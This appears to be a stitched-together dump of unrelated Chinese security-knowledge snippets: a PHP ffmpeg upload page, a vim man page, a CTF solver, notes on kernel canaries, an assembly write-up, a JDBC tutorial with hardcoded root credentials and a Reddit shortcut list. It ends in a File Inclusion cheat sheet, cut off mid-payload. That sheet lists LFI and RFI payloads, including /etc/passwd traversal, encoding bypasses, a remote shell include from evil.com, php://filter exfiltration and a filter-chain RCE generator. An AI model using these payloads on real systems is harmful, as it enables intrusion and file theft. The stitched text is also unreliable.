<?php if(!empty($_FILES)) { $filename = escapeshellarg($_FILES['file']['tmp_name']); $newname = './' . uniqid() . '.mp4'; shell_exec("ffmpeg -i $filename $newname"); } ?> <html> <head> <meta charset="utf-8"> <title>Video Player</title> </head> <body> <?php if(!empty($_FILES)): ?> <div> <video src="<?=$newname?>" controls="controls" width="640" height="480"></video> </div> <?php endif; ?> <form method="post" enctype="multipart/form-data"> <input type="file" name="file"> <input type="submit" value="Submit"> </form> </body> </html>
sec-knowleage
.TH VIM 1 "2006-04-11" .SH "名称" vim \- Vi IMproved, 一个程序员的文本编辑器 .SH "概述" .br .B vim [options] [file ..] .br .B vim [options] - .br .B vim [options] \-t tag .br .B vim [options] \-q [errorfile] .PP .br .B ex .br .B view .br .B gvim .B gview .B evim .B eview .br .B rvim .B rview .B rgvim .B rgview .SH "描述" .B Vim 是一个同 Vi 向上兼容的文本编辑器。 它可以用来编辑任何纯文本。 它特别适合用来编辑程序。 .PP 它对 Vi 作了许多增强:多层撤销、多窗口、多缓冲区(buffer)、 高亮语法显示、命令行编辑、文件名补全、在线帮助、可视选择等等。 请用 ":help vi_diff.txt" 查看 .B Vim 和 Vi 之间差别的摘要。 .PP 在运行 .B Vim 的时候,可以用 ":help" 命令获得很多帮助信息。 请参考下面的“在线帮助”一节。 .PP 通常情况下, .B vim 使用直接把文件名作为参数的方法来编辑文件: .PP vim 文件名 .PP 更通用地来说, .B Vim 使用下述方式从命令行启动: .PP vim [选项] [文件列表] .PP 如果没有给定文件,则编辑器会打开一个空的缓冲区。 否则就会用下面四个中的一个方式来选择要编辑的文件。 .TP 12 文件 .. 文件名列表。 第一个会作为当前文件读入缓冲区。 光标会停在缓冲区的第一行。 您可以使用 ":next" 命令转到其它的文件。 如果要编辑一个以 "-" 开头的文件,请在文件列表前面加上 "\-\-"。 .TP \- 从标准输入读取要编辑的文件。命令从标准错误读取,此时标准错误应当是一个 TTY。 .TP -t {tag} 被 编辑的 文件 和 光标的 初始位置 由 标记 (tag) 决定, 标记 有点像 一种 goto 标签 (goto label). 在 标记文件中 找到 标记, 相应的 文件 成为 当前文件, 相应的 命令 被执行. 这种方式 常用于 C 程序, 标记 就是 函数名, 当前文件 就是 包含 那个函数的 文件, 光标 停留在 函数的 开始处. 见 ":help tag-commands"。 .TP -q [errorfile] 运行时 进入 快速修复模式. 读取 [errorfile] 文件 并显示 第一个 错误. 如果 没有 [errorfile] 文件, 文件名 由 'errorfile' 选项 决定 (在 Amiga 为 "AztecC.Err", 在 其他系统中 为 "errors.vim"). 可以 用 ":cn" 命令 跳到 其它错误处. 见 ":help quickfix"。 .PP .B Vim 会 根据 不同命令 有 不同的 表现, 尽管 它们 可能 是 一个 可执行 文件. .TP 10 vim 正常 模式, 所有 都是 默认状态. .TP ex 以 Ex 模式 运行. 用 ":vi" 命令 进入 正常模式. 也可以 加上 "-e" 选项 进入 此模式. .TP view 以 只读模式 运行. 你被禁止 写文件. 也可以 加上 "-R" 选项 进入 此模式. .TP gvim gview GUI 版本。 开启 一个 新的窗口. 也可以 加上 "-g" 选项 进入 此模式. .TP rvim rview rgvim rgview 同 上面的 相同, 只是 加上了 限制, 不能运行 shell 程序, 也 不能 暂停 .B Vim . 也 可以 加上 "-Z" 选项 进入 此模式. .SH "选项 (OPTIONS)" 所有选项 都可以 以 任何顺序 出现, 可以 在文件名前, 也可以 在文件名后. 没有 参数的 选项 可以 出现在 一个 "-" 后面. .TP 12 +[num] 对于 第一个 文件, 光标 会停在 第 "num" 行. 如果 没有 "num" , 则 光标 会停在 最后一行. .TP +/{pat} 对于 第一个文件, 光标 会停在 {pat} 第一次 出现的 地方. 搜寻 模式 见 ":help search-pattern"。 .TP +{command} .TP -c {command} 读入 第一个 文件后 会 执行 {command} 命令. {command} 应为 Ex 命令. 如果 {command} 中 包含有 空格, 必须 用双引号 括住 (这个取决于所用的 shell). 例: Vim "+set si" main.c .br 注意: 你 最多 可以用 10 个 "+" 或者 "-c" 命令. .TP -b 二进制模式. 设置 一些选项, 这样 就可以 用来 编辑 二进制 和 可执行 文件 了. .TP -C 兼容. 设置 'compatible' 选项. 这样 就算 存在 .vimrc 文件 .B Vim 也会 基本上 象 Vi 一样了. .TP -d {device} 打开 {device} 用作终端, 只在 Amiga 下。 例: "\-d con:20/30/600/150". .TP -e 以 Ex 模式 运行 .B Vim , 就像 运行 "ex" 一样。 .TP -f 前台 运行。 对于 GUI 版本, .B Vim 不会 同运行它的 shell 分离。 在 Amiga 中, .B Vim 不会 重新启动 来 开启一个 新窗口. 这个选项 会用在当 .B Vim 被 另外一个 程序执行, 并且 这个程序 想等编辑动作 结束后 再运行 的 时候 (如 mail). 在 Amiga 上 ":sh" 和 ":!" 不会起作用. .TP -F 如果 .B Vim 编译时 加入了 对 从右到左 书写的 文件 FKMAP 以及 Farsi 键盘映射 的支持, .B Vim 会 以 Farsi 模式 运行, 比如 设置 'fkmap' 和 'rightleft' 选项.不然 .B Vim 会 显示 一条 错误信息 并 终止. .TP -g 如果 .B Vim 编译时 加入 GUI 支持, 会开启 GUI, 不然 .B Vim 会 显示 一条 错误信息 并 终止. .TP -h .B Vim 显示 命令行 参数 和 选项的 帮助, 然后 终止. .TP -H 如果 .B Vim 编译时 加入了 对 从右到左 书写的 文件 RIGHTLEFT 以及 Hebrew 键盘映射 的支持, .B Vim 会以 Hebrew 模式 运行, 比如 设置 'hkmap' 和 'rightleft' 选项. 不然 .B Vim 会 显示 一条 错误信息 并 终止. .TP -i {viminfo} 准许 使用 viminfo 文件, 这个 选项 设置 使用的 文件名, 默认的 是 "~/.viminfo". 用 "NONE" 文件名 也可以 跳过 使用 .viminfo 文件. .TP -L 同 -r 一样. .TP -l Lisp 模式. 打开 'lisp' 和 'showmatch' 选项. .TP -m 禁止 修改文件. 设置 'write' 选项, 这样 就不能 写文件了. .TP -N 非兼容 模式. 设置 'compatible' 选项. 这样 .B Vim 会 表现得 更好, 就算 .vimrc 文件 不存在 也会 同 Vi 不兼容. .TP -n 禁止 交换文件, 这样 在崩溃后 就 不能 恢复 文件了. 对于 编辑 在很慢的 媒体中的 文件 很有好处 (比如软盘), 也可以 用 ":set uc=0" 禁止交换, 用 ":set uc=200" 开启 交换. .TP -o[N] 打开 N 个窗口. 如果没有 N, 为 每个文件 开一个 窗口. .TP -R 只读 模式. 设置 'readonly' 选项. 你 仍然 可以 编辑 缓冲区, 但是 不能 重写文件. 如果 你要 重写文件, 必须在 Ex 命令中 用惊叹号, 比如 ":w!". -R 选项 隐含了 -n 选项 (见下). 'readonly' 选项 可以 用 ":set noro" 设置. 见 ":help 'readonly'". .TP -r 列出 交换文件, 显示 关于 恢复文件的 信息. .TP -r {file} 恢复 模式. 交换文件 是 用来 恢复 在 编辑过程中 崩溃了的 文件. 交换 文件名 是 被编辑文件名 后面 加上 ".swp". 见 ":help recovery". .TP -s 安静 模式. 只在 用 "Ex" 启动 或者 用了 "-e" 选项 才有用. .TP -s {scriptin} 读入 脚本文件 {scriptin}. 文件里的 字符 就像 你 直接 输入 一样的, 也 可以 用 ":source! {scriptin}" 命令 实现 这个功能. 如果 在 编辑器 结束前 就 读到了 文件尾, 就 接着 从键盘 读入. .TP -T {terminal} 告诉 .B Vim 你 用的 终端的 名字, 只有 当 不能 自动确定 的时候 才这样. 它 必须是 .B Vim (builtin) 能辨认的 终端 或者是 在 termcap 或者 terminfo 文件中 定义了的. .TP -u {vimrc} 用 {vimrc} 文件 里的 命令 来初始化, 跳过 所有 其它的 初始化, 用 这个 来编辑 特殊类型的 文件. 也可以 用 "NONE" 来 跳过 所有初始化. 在 vim 中 用 ":help initialization" 查看 更多信息. .TP -U {gvimrc} 用 {gvimrc} 文件 里的 命令 来初始化 GUI, 跳过 所有 其它的 GUI 初始化, 也 可以 用 "NONE" 来跳过 所有 GUI 初始化. 在 vim 中 用 ":help gui-init" 查看 更多信息. .TP -V 冗长 显示. 显示 执行 初始化代码 和 读入的 文件, 并且 写 viminfo 文件. .TP -v 以 Vi 模式运行 .B Vim , 就像 运行 "vi" 一样, 只有 运行 "ex" 时 才有用. .TP -w {scriptout} 所有 在 .B Vim 退出前 你键入的 字符 都会被 存入 {scriptout} 文件. 这 用来 创建一个 脚本文件, 你 可以用 "vim -s" 和 ":source!" 来使用. 如果 {scriptout} 存在, 会 把 字符 追加到 后面. .TP -W {scriptout} 同 -w 一样, 但是 是覆盖 原来的文件. .TP -x 写文件时 加密. 会提示你 输入密码. .TP -Z 受限 模式. 同运行 以 "r" 开头的 程序 同效. .TP -- 表明 选项结束. 在此之后的 参数 都会被认为 是 文件名, 可以 用这个 来编辑 一个 以 '-' 开头 的文件. .SH "在线帮助 (ON-LINE HELP)" 在 .B Vim 中键入 ":help" 来 获得 帮助. 用 ":help subject" 来 获得 关于 一个 特定主题的 帮助. 例如 用 ":help ZZ" 来 获得 关于 "ZZ" 的帮助. 用 <Tab> 和 CTRL-D 来 完成 帮助主题 (":help cmdline-completion"). 可以 用 标记 从 一个地方 跳到 另一个 地方 (有点像 超文本连接, 见 ":help"). 所有的 文档 都可以 这样 来浏览, 比如 ":help syntax.txt". .SH "文件" .TP 15 /usr/share/vim/vim80/doc/*.txt .B Vim 的文档文件。 请使用 ":help doc\-file\-list" 获得完整的列表。 .TP /usr/share/vim/vim80/doc/tags 在文档文件中查找信息用的标签文件。 .TP /usr/share/vim/vim80/syntax/syntax.vim 系统层面的语法初始化文件。 .TP /usr/share/vim/vim80/syntax/*.vim 各种语言的语法文件。 .TP /usr/share/vim/vimrc 系统层面的 .B Vim 初始化文件。 .TP ~/.vimrc 您的个人 .B Vim 初始化文件。 .TP /usr/share/vim/gvimrc 系统层面的 gvim 初始化文件。 .TP ~/.gvimrc 您的个人 gvim 初始化文件。 .TP /usr/share/vim/vim80/optwin.vim ":options" 命令所用的脚本文件,这是个查看和设置选项的好方法。 .TP /usr/share/vim/vim80/menu.vim 系统层面的 gvim 菜单初始化文件。 .TP /usr/share/vim/vim80/bugreport.vim 用来生成错误报告的脚本文件。详见 ":help bugs"。 .TP /usr/share/vim/vim80/filetype.vim 根据文件名来判定文件类型的脚本文件。详见 ":help 'filetype'"。 .TP /usr/share/vim/vim80/scripts.vim 根据文件内容来判定文件类型的脚本文件。详见 ":help 'filetype'"。 .TP /usr/share/vim/vim80/print/*.ps 用于 PostScript 打印的文件。 .PP 要了解最新信息,请查看 VIM 主页: .br \<URL:http://www.vim.org/\> .SH "参见" vimtutor(1) .SH "作者" .B Vim 的大部分都是 Bram Moolenaar 在很多人的帮助下完成的。 请见 .B vim 下的 ":help credits"。 .br 虽然不大可能还有原始的代码存在, 但是 .B Vim 仍然是基于 Stevie 写的代码,之后被 Tim Thompson、 Tony Andrews 和 G.R. (Fred) Walter 修改而成的。 .SH "缺陷" 也许有吧。 请用 ":help todo" 查看已知问题的列表。 .PP 请留意,有不少地方可能被其他人视为缺陷与错误, 但实际上这只是因为程序忠实地还原了 Vi 的行为操作。 如果你觉得有些地方“因为和 Vi 的行为不一样”而应该是错误的, 也许你应该再仔细阅读一下 vi_diff.txt 文件(或者在 Vim 中输入 "help vi_diff.txt")。 您也应该查一查“compatible”和“cpoptions”选项的用法。 .SH "[中文版原维护人]" .B 唐友 \<tony_ty@263.net\> .SH "[中文版原最新更新]" .BR 2001/8/30 .SH "[原中国Linux论坛man手册页翻译计划]" .BI http://cmpp.linuxforum.net .\" manpages-zh date: 2016-12-18 .\" manpages-zh orig-date: 2016-12-14
sec-knowleage
magic = [98,32,84,253,217,18,92,22,112,138,147,46,168,229,31,149,72,94,191,124,21,176,10,104,154,213,235,25,237,61,18,15] target = [3**i for i in range(32)] def solve(t): v2 = 1 v3 = 1 v4 = 1 for i in range(t): v5 = (2*v2 + v3 + 7*v4) % 31337 v4 = v3 v3 = v2 v2 = v5 return v2&0xff flag = "" for m, t in zip(magic, target): c = solve(t) ^ m flag += chr(c) print(flag)
sec-knowleage
# Kernel Stack Canary Canary 是一种典型的检测机制。在 Linux 内核中,Canary 的实现是与架构相关的,所以这里我们分别从不同的架构来介绍。 ## x86 ### 介绍 在 x86 架构中,同一个 task 中使用相同的 Canary。 ### 发展历史 TODO。 ### 实现 TODO。 ### 使用 #### 开启 在编译内核时,我们可以设置 CONFIG_CC_STACKPROTECTOR 选项,来开启该保护。 #### 关闭 我们需要重新编译内核,并关闭编译选项才可以关闭 Canary 保护。 ### 状态检查 我们可以使用如下方式来检查是否开启了 Canary 保护 1. `checksec` 2. 人工分析二进制文件,看函数中是否有保存和检查 Canary 的代码 ### 特点 可以发现,x86 架构下 Canary 实现的特点是同一个 task 共享 Canary。 ### 攻击 根据 x86 架构下 Canary 实现的特点,我们只要泄漏了一次系统调用中的 Canary,同一 task 的其它系统调用中的 Canary 也就都被泄漏了。 ## 参考 - https://www.workofard.com/2018/01/per-task-stack-canaries-for-arm64/ - [PESC: A Per System-Call Stack Canary Design for Linux Kernel](https://yajin.org/papers/pesc.pdf)
sec-knowleage
# assembly-1 Reversing, 200 points ## Description: > What does asm1(0x255) return? Submit the flag as a hexadecimal value (starting with '0x'). ```assembly .intel_syntax noprefix .bits 32 .global asm1 asm1: push ebp mov ebp,esp cmp DWORD PTR [ebp+0x8],0xea jg part_a cmp DWORD PTR [ebp+0x8],0x8 jne part_b mov eax,DWORD PTR [ebp+0x8] add eax,0x3 jmp part_d part_a: cmp DWORD PTR [ebp+0x8],0x6 jne part_c mov eax,DWORD PTR [ebp+0x8] sub eax,0x3 jmp part_d part_b: mov eax,DWORD PTR [ebp+0x8] sub eax,0x3 jmp part_d cmp DWORD PTR [ebp+0x8],0x126 jne part_c mov eax,DWORD PTR [ebp+0x8] sub eax,0x3 jmp part_d part_c: mov eax,DWORD PTR [ebp+0x8] add eax,0x3 part_d: pop ebp ret ``` ## Solution: This is how the stack looks like after performing the `mov ebp,esp` command: ``` +---------+ | old ebp | <-- ebp +---------+ | ret | <-- ebp + 0x4 +---------+ | 0x255 | <-- ebp + 0x8 +---------+ ``` What happens later is: ```assembly cmp DWORD PTR [ebp+0x8],0xea ; compare 0x255 and 0xea jg part_a ; jump is taken since 0x255 > 0xea cmp DWORD PTR [ebp+0x8],0x8 jne part_b mov eax,DWORD PTR [ebp+0x8] add eax,0x3 jmp part_d ``` We jump to part_a: ```assembly part_a: cmp DWORD PTR [ebp+0x8],0x6 ; compare 0x255 and 0x6 jne part_c ; jump is taken, since 0x200 != 0x6 mov eax,DWORD PTR [ebp+0x8] sub eax,0x3 jmp part_d ``` Jumping to part_c: ```assembly part_c: mov eax,DWORD PTR [ebp+0x8] ; eax = 0x255 add eax,0x3 ; eax = 0x255 + 0x3 = 0x258 ``` We move on to part_d, which performs the epilog and returns. So the value returned by the function is 0x258.
sec-knowleage
# JDBC --- Java 中需要调用 JDBC 来对数据库进行操作。 ## JDBC概念 Java 数据库连接,(Java Database Connectivity,简称 JDBC)是 Java 语言中用来规范客户端程序如何来访问数据库的应用程序接口,提供了诸如查询和更新数据库中数据的方法。JDBC 也是 Sun Microsystems 的商标。我们通常说的 JDBC 是面向关系型数据库的。 **JDBC实现原理** Java 通过 java.sql.DriverManager 来管理所有数据库的驱动注册,所以如果想要建立数据库连接需要先在 java.sql.DriverManager 中注册对应的驱动类,然后调用 getConnection 方法才能连接上数据库。 JDBC 定义了一个叫 java.sql.Driver 的接口类负责实现对数据库的连接,所有的数据库驱动包都必须实现这个接口才能够完成数据库的连接操作。java.sql.DriverManager.getConnection(xx) 其实就是间接的调用了 java.sql.Driver 类的 connect 方法实现数据库连接的。数据库连接成功后会返回一个叫做 java.sql.Connection 的数据库连接对象,一切对数据库的查询操作都将依赖于这个 Connection 对象。 --- ## JDBC使用 - http://dev.mysql.com/downloads/connector/j/ ### maven 依赖 ```xml <dependency> <groupId>mysql</groupId> <artifactId>mysql-connector-java</artifactId> <version>8.0.25</version> </dependency> ``` ### DriverManager驱动管理对象功能 注册驱动: ```java static void registerDriver(Driver driver) : // 注册与给定的驱动程序 DriverManager 。 ``` 代码: ```java Class.forName("com.mysql.jdbc.Driver"); ``` 获取数据库连接: ```java static Connection getConnection(String url, String user, String password) ``` 代码: ```java Connection conn = DriverManager.getConnection("jdbc:mysql://127.0.0.1/sql","root","root"); ``` ### Connection数据库连接对象 获取执行sql 的对象 ```java Statement createStatement() PreparedStatement prepareStatement(String sql) ``` 代码: ```java Statement statement = conn.createStatement(); ``` ### Statement执行sql的对象 1. boolean execute(String sql) :可以执行任意的 sql 2. int executeUpdate(String sql) :执行 DML(insert、update、delete)语句、DDL(create,alter、drop) 语句 * 返回值:影响的行数,可以通过这个影响的行数判断 DML 语句是否执行成功 返回值 > 0 的则执行成功,反之,则失败。 3. ResultSet executeQuery(String sql) :执行 DQL(select) 语句 ### 连接测试 mysql 地址 192.168.141.151 3306 root toor ```java import java.sql.*; public class main { private Connection conn = null; public static void main(String[] args) { new main().connectMariaDB(); } public void connectMariaDB(){ System.out.println("start connect"); String conn_str = "jdbc:mysql://192.168.1.1:3306/mysql?" + "user=root&password=toor" +"&useUnicode=true&characterEncoding=UTF8"; try { Class.forName("com.mysql.cj.jdbc.Driver"); conn = DriverManager.getConnection(conn_str); Statement stmt = conn.createStatement(); String sql = "show tables;"; ResultSet result = stmt.executeQuery(sql); if (result != null) { while (result.next()) { System.out.println(result.getString(1) + "\t"); } } System.out.println("MariaDB/MySQL connect success"); } catch (Exception e) { e.printStackTrace(); } } } ``` ### 查询版本 ```java import java.sql.*; public class main { private Connection conn = null; public static void main(String[] args) { new main().connectMariaDB(); } public void connectMariaDB(){ System.out.println("start connect"); String url = "jdbc:mysql://192.168.141.151:3306/mysql?";//设置数据库的地址 设置编码 支持汉字 String user="root";//用户名 String password = "toor";//用户密码 try { Class.forName("com.mysql.cj.jdbc.Driver"); Connection conn = DriverManager.getConnection(url, user, password); Statement stmt = conn.createStatement(); String sql = "select version()"; ResultSet result = stmt.executeQuery(sql); if (result != null) { while (result.next()) { System.out.println(result.getString(1) + "\t"); } } System.out.println("MariaDB/MySQL connect success"); } catch (Exception e) { e.printStackTrace(); } } } ``` 或 ```java import java.sql.*; public class main { public static void main(String[] args) throws Exception { String mycon = "jdbc:mysql://192.168.1.1:3306/mysql?"; String user = "root"; String password = "toor"; Class.forName("com.mysql.cj.jdbc.Driver"); Connection connection = DriverManager.getConnection(mycon, user, password); //建立连接 String sql = "select version()"; //定义sql语句 Statement statement = connection.createStatement(); //创建执行sql对象 ResultSet result = statement.executeQuery(sql); //执行sql语句 if (result != null) { while (result.next()) { System.out.println(result.getString(1) + "\t"); } } } } ``` ### 查询遍历表里内容 ```java import java.sql.*; public static void main(String[] args) throws Exception { String mycon = "jdbc:mysql://192.168.1.1:3306"; String user = "root"; String password = "toor"; Class.forName("com.mysql.cj.jdbc.Driver"); Connection connection = DriverManager.getConnection(mycon, user,password); //建立连接 String sql = "select * from users"; //定义sql语句 Statement statement = connection.createStatement(); //创建执行sql对象 ResultSet resultSet = statement.executeQuery(sql); //执行sql语句 while (resultSet.next()){ //使用next让游标向下移动一行,判断是否为空 int id = resultSet.getInt(1); //获取查询id的值,从1开始索引 String name = resultSet.getString("username"); //获取查询的username字段内容 String passwd = resultSet.getString("password"); // //获取查询的password字段 System.out.println(id+name+passwd); } } ``` ### 集合存储数据 主类 ```java import java.sql.*; import java.util.ArrayList; import java.util.List; public class main { public static void main(String[] args) throws Exception { List<Test> list = new main().findAll(); System.out.println(list); } public List<Test> findAll() throws Exception { Class.forName("com.mysql.jc.jdbc.Driver"); Connection conn = DriverManager.getConnection("jdbc:mysql://192.168.1.1:3306/", "root", "toor"); String sql = "select * from users"; Statement statement = conn.createStatement(); ResultSet resultSet = statement.executeQuery(sql); List<Test> list = new ArrayList<Test>(); Test test = null; while (resultSet.next()){ int id = resultSet.getInt(1); String username = resultSet.getString("username"); String password = resultSet.getString("password"); test = new Test(); test.setId(id); test.setUsername(username); test.setPassword(password); list.add(test); } return list; } } ``` test 类 ```java import java.util.Date; public class Test { private int id ; private String username; private String password; public int getId() { return id; } @Override public String toString() { return "Test{" + "id=" + id + ", username='" + username + '\'' + ", password='" + password + '\'' + '}'; } public void setId(int id) { this.id = id; } public String getUsername() { return username; } public void setUsername(String username) { this.username = username; } public String getPassword() { return password; } public void setPassword(String password) { this.password = password; } } ``` ### properties文件 创建 properties文件在目录下 ``` driver = com.mysql.cj.jdbc.Driver databaseName = mydb user = root password = toor dbTable = mysql url = jdbc:mysql://192.168.1.1:3306/mysql? ``` ```java import java.sql.*; import java.util.Properties; public class main { public static void main(String[] args) throws Exception { String f = "db.properties"; Properties props = new Properties(); props.load(new java.io.FileInputStream(f)); String url = props.getProperty("url"); String user = props.getProperty("user"); String password = props.getProperty("password"); String driver = props.getProperty("driver"); Class.forName(driver); Connection connection = DriverManager.getConnection(url, user, password); //建立连接 String sql = "select version()"; //定义sql语句 Statement statement = connection.createStatement(); //创建执行sql对象 ResultSet result = statement.executeQuery(sql); //执行sql语句 if (result != null) { while (result.next()) { System.out.println(result.getString(1) + "\t"); } } } } ``` --- ## Source & Reference - https://blog.csdn.net/zhangpeterx/article/details/89424847 - https://www.runoob.com/java/java-mysql-connect.html - https://blog.csdn.net/zhc_24/article/details/83018728 - https://www.cnblogs.com/nice0e3/p/13507367.html - https://blog.csdn.net/caigen0001/article/details/103372183
sec-knowleage
--- title: Reddit date: 2022-11-23 16:23:31.705575 background: bg-[#eb5528] label: tags: - - categories: - Keyboard Shortcuts intro: | A visual cheat-sheet for the 17 keyboard shortcuts found on Reddit.com --- Keyboard Shortcuts ------------------ ### Navigation Shortcut | Action ---|--- `Shift` `?` | Show shortcuts `J` | Next post or comment `K` | Previous post or comment `N` | Next post in lightbox `P` | Previous post in lightbox `Enter` | Open post `X` | Open or close expando `L` | Go to post link {.shortcuts} ### Action Shortcut | Action ---|--- `A` | Upvote `Z` | Downvote `C` | New post `R` | Reply to comments `Ctrl` `Enter` | Submit comment or post `S` | Save `H` | Hide `Q` | Open navigation `Enter` | Collapse or expand comment {.shortcuts} Also see -------- - [Keyboard shortcuts for Reddit](https://i.imgur.com/7644kEy.png) _(i.imgur.com)_
sec-knowleage
# File Inclusion > The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a "dynamic file inclusion" mechanisms implemented in the target application. > The Path Traversal vulnerability allows an attacker to access a file, usually exploiting a "reading" mechanism implemented in the target application ## Summary - [File Inclusion](#file-inclusion) - [Summary](#summary) - [Tools](#tools) - [Basic LFI](#basic-lfi) - [Null byte](#null-byte) - [Double encoding](#double-encoding) - [UTF-8 encoding](#utf-8-encoding) - [Path and dot truncation](#path-and-dot-truncation) - [Filter bypass tricks](#filter-bypass-tricks) - [Basic RFI](#basic-rfi) - [Null byte](#null-byte-1) - [Double encoding](#double-encoding-1) - [Bypass allow_url_include](#bypass-allow_url_include) - [LFI / RFI using wrappers](#lfi--rfi-using-wrappers) - [Wrapper php://filter](#wrapper-phpfilter) - [Wrapper data://](#wrapper-data) - [Wrapper expect://](#wrapper-expect) - [Wrapper input://](#wrapper-input) - [Wrapper zip://](#wrapper-zip) - [Wrapper phar://](#wrapper-phar) - [Wrapper convert.iconv:// and dechunk://](#wrapper-converticonv-and-dechunk) - [LFI to RCE via /proc/*/fd](#lfi-to-rce-via-procfd) - [LFI to RCE via /proc/self/environ](#lfi-to-rce-via-procselfenviron) - [LFI to RCE via upload](#lfi-to-rce-via-upload) - [LFI to RCE via upload (race)](#lfi-to-rce-via-upload-race) - [LFI to RCE via upload (FindFirstFile)](#lfi-to-rce-via-upload-findfirstfile) - [LFI to RCE via phpinfo()](#lfi-to-rce-via-phpinfo) - [LFI to RCE via controlled log file](#lfi-to-rce-via-controlled-log-file) - [RCE via SSH](#rce-via-ssh) - [RCE via Mail](#rce-via-mail) - [RCE via Apache logs](#rce-via-apache-logs) - [LFI to RCE via PHP sessions](#lfi-to-rce-via-php-sessions) - [LFI to RCE via credentials files](#lfi-to-rce-via-credentials-files) - [Windows version](#windows-version) - [Linux version](#linux-version) - [References](#references) ## Tools * [Kadimus - https://github.com/P0cL4bs/Kadimus](https://github.com/P0cL4bs/Kadimus) * [LFISuite - https://github.com/D35m0nd142/LFISuite](https://github.com/D35m0nd142/LFISuite) * [fimap - https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap) * [panoptic - https://github.com/lightos/Panoptic](https://github.com/lightos/Panoptic) ## Basic LFI In the following examples we include the `/etc/passwd` file, check the `Directory & Path Traversal` chapter for more interesting files. ```powershell http://example.com/index.php?page=../../../etc/passwd ``` ### Null byte :warning: In versions of PHP below 5.3.4 we can terminate with null byte. ```powershell http://example.com/index.php?page=../../../etc/passwd%00 ``` ### Double encoding ```powershell http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00 ``` ### UTF-8 encoding ```powershell http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd%00 ``` ### Path and dot truncation On most PHP installations a filename longer than 4096 bytes will be cut off so any excess chars will be thrown away. ```powershell http://example.com/index.php?page=../../../etc/passwd............[ADD MORE] http://example.com/index.php?page=../../../etc/passwd\.\.\.\.\.\.[ADD MORE] http://example.com/index.php?page=../../../etc/passwd/./././././.[ADD MORE] http://example.com/index.php?page=../../../[ADD MORE]../../../../etc/passwd ``` ### Filter bypass tricks ```powershell http://example.com/index.php?page=....//....//etc/passwd http://example.com/index.php?page=..///////..////..//////etc/passwd http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd ``` ## Basic RFI Most of the filter bypasses from LFI section can be reused for RFI. ```powershell http://example.com/index.php?page=http://evil.com/shell.txt ``` ### Null byte ```powershell http://example.com/index.php?page=http://evil.com/shell.txt%00 ``` ### Double encoding ```powershell http://example.com/index.php?page=http:%252f%252fevil.com%252fshell.txt ``` ### Bypass allow_url_include When `allow_url_include` and `allow_url_fopen` are set to `Off`. It is still possible to include a remote file on Windows box using the `smb` protocol. 1. Create a share open to everyone 2. Write a PHP code inside a file : `shell.php` 3. Include it `http://example.com/index.php?page=\\10.0.0.1\share\shell.php` ## LFI / RFI using wrappers ### Wrapper php://filter The part "`php://filter`" is case insensitive ```powershell http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php http://example.com/index.php?page=php://filter/convert.iconv.utf-8.utf-16/resource=index.php http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php ``` Wrappers can be chained with a compression wrapper for large files. ```powershell http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd ``` NOTE: Wrappers can be chained multiple times using `|` or `/`: - Multiple base64 decodes: `php://filter/convert.base64-decoder|convert.base64-decode|convert.base64-decode/resource=%s` - deflate then `base64encode` (useful for limited character exfil): `php://filter/zlib.deflate/convert.base64-encode/resource=/var/www/html/index.php` ```powershell ./kadimus -u "http://example.com/index.php?page=vuln" -S -f "index.php%00" -O index.php --parameter page curl "http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php" | base64 -d > index.php ``` Also there is a way to turn the `php://filter` into a full RCE. * [synacktiv/php_filter_chain_generator](https://github.com/synacktiv/php_filter_chain_generator) - A CLI to generate PHP filters chain ```powershell $ python3 php_filter_chain_generator.py --chain '<?php phpinfo();?>' [+] The following gadget chain will generate the following code : <?php phpinfo();?> (base64 value: PD9waHAgcGhwaW5mbygpOz8+) php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.UCS-2.UTF8|convert.iconv.L6.UTF8|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.